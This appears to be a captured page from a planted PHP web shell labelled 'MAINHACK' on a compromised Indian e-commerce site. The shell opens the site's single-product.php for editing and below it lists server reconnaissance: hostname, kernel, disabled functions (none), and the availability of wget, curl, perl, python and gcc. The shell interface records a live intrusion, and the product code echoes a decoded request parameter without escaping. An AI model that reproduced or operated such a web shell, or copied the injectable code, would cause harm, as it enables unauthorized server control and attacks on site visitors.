[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: single-product.php
<!-- Header include --> <?php include("header.php"); $pid=base64_decode($_REQUEST['pid']); ?> <!-- Inner Banner Start --> <div class="inner-banner"> <img src="images/inner-banner.png" alt="Fashion Tradet Inner Banner"> <div class="inner-banner-text-block"> <div class="container"> <h1>Single <span>Page</span></h1> </div> </div> </div> <!--Single Product Page--> <div class="singleProductPage"> <div class="container"> <div class="row"> <form method="post" enctype="" action="single-product.php?product_id=<?=$pid?>&action=add&code=<?=$pid?>&price=<?=$price?>"> <?php $sr='product'; $stmt =$show->readwithdata($sr,'product_id',$pid); $num = $stmt->rowCount(); if($num>0){ $count=1; while ($row = $stmt->fetch(PDO::FETCH_ASSOC)){ $ptitle=$row['title']; $description=$row['description']; $product_id=$row['product_id']; ?> <div class="col-md-5 col-sm-5 col-xs-12"> <div class="grid images_3_of_2"> <div class="flexslider"> <div class="clearfix"></div> <div class="flex-viewport" style="overflow: hidden; position: relative;"> <ul class="slides" style="width: 1400%; transition-duration: 0.6s; transform: translate3d(-890px, 0px, 0px);"> <?php $c=1; $sq=$show->readwithdata('product_img','product_id',$pid); while ($row1 = $sq->fetch(PDO::FETCH_ASSOC)){ $img=$row1['img']; ?> <li data-thumb="<?=$pic_img?>/<?=$row1['img']?>" class="clone" style="width: 445px; float: left; display: block;"> <div class="thumb-image"> <img src="<?=$pic_img?>/<?=$row1['img']?>" data-imagezoom="true" class="img-responsive_1" alt=""> </div> </li> <?php } ?> </ul> </div> </div> </div> </div> <div class="col-md-7 col-sm-7 col-xs-12"> <div class="righttextbox-single"> <h3><?=$row['title']?></h3> <small style="font-size: 16px; color: #00ae2e; font-weight: bold;"><?=$row['category']?>- ><?=$row['sub_category']?></small> <div class="price"> <h4>₹ <?=$row['discounted_price']?><del>₹ <?=$row['price']?></del><span>(<?=$row['discount']?>% Off)</span></h4> <h6>(MRP Inclusive of all taxes)</h6> </div> <div class="product-order-form"> <div class="cart-btn"> <input type="hidden" name="img" value="<?=$img?>"> <input type="hidden" name="product_name" value="<?=$ptitle?>"> <input type="hidden" name="price" value="<?=$row['discounted_price']?>"> <input type="hidden" name="code" value="<?=$pid?>"> <input type="hidden" name="quantity" value="1"> <input type="submit" name="cart" id="cart" value="Add to Cart" onclick="runMyFunction();return true"> </div> </div> <div class="product-dec"> <p><b>Description</b> : <?=htmlspecialchars_decode($row['description'])?> </p> </div> </div> </div> <?php } } ?> </form> <div class="col-md-12 col-sm-12 col-xs-12"> <div class="all-product"> <h2>Other Products</h2> <div id="other-product-slider" class="owl-carousel"> <?php $sr='product'; $stmt =$show->readAll($sr); $num = $stmt->rowCount(); if($num>0){ $count=1; while ($row = $stmt->fetch(PDO::FETCH_ASSOC)){ extract($row); $id=$row['id']; // echo $row['product_id']; $sq=$show->readwithdata('product_img','product_id',$row['product_id']); $row1 = $sq->fetch(PDO::FETCH_ASSOC); $img=$row1['img']; ?> <div class="item"> <div class="prodact-box"> <a href="single-product.php?pid=<?=base64_encode($row['product_id'])?>"> <img src="<?=$pic_img?>/<?=$img?>" alt="Product Item"> <div class="product-dec"> <h3><?=$row['title']?></h3> <h5><i class="fa-solid fa-indian-rupee-sign"></i><b> <?=$row['discounted_price']?></b><del>₹ <?=$row['price']?></del></h5> <h6><?=$row['discount']?>% Discount</h6> <a href="single-product.php?pid=<?=base64_encode($row['product_id'])?>" class="product-btn">Buy Now</a> </div> </a> </div> </div> <?php } } ?> <!--- <div class="item"> <div class="prodact-box"> <a href="single-product.php"> <img src="images/product-2.png" alt="Product Item"> <div class="product-dec"> <h3>Leather Bags</h3> <h5><i class="fa-solid fa-indian-rupee-sign"></i><b>699</b><del>₹ 1099</del></h5> <h6>20% Discount</h6> <a href="#" class="product-btn">Buy Now</a> </div> </a> </div> </div> <div class="item"> <div class="prodact-box"> <a href="single-product.php"> <img src="images/product-3.png" alt="Product Item"> <div class="product-dec"> <h3>Leather Bags</h3> <h5><i class="fa-solid fa-indian-rupee-sign"></i><b>699</b><del>₹ 1099</del></h5> <h6>20% Discount</h6> <a href="#" class="product-btn">Buy Now</a> </div> </a> </div> </div> <div class="item"> <div class="prodact-box"> <a href="single-product.php"> <img src="images/product-4.png" alt="Product Item"> <div class="product-dec"> <h3>Leather Bags</h3> <h5><i class="fa-solid fa-indian-rupee-sign"></i><b>699</b><del>₹ 1099</del></h5> <h6>20% Discount</h6> <a href="#" class="product-btn">Buy Now</a> </div> </a> </div> </div> ---> </div> </div> </div> </div> </div> </div> <!-- Footer include --> <?php include("footer.php"); ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 692.11 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619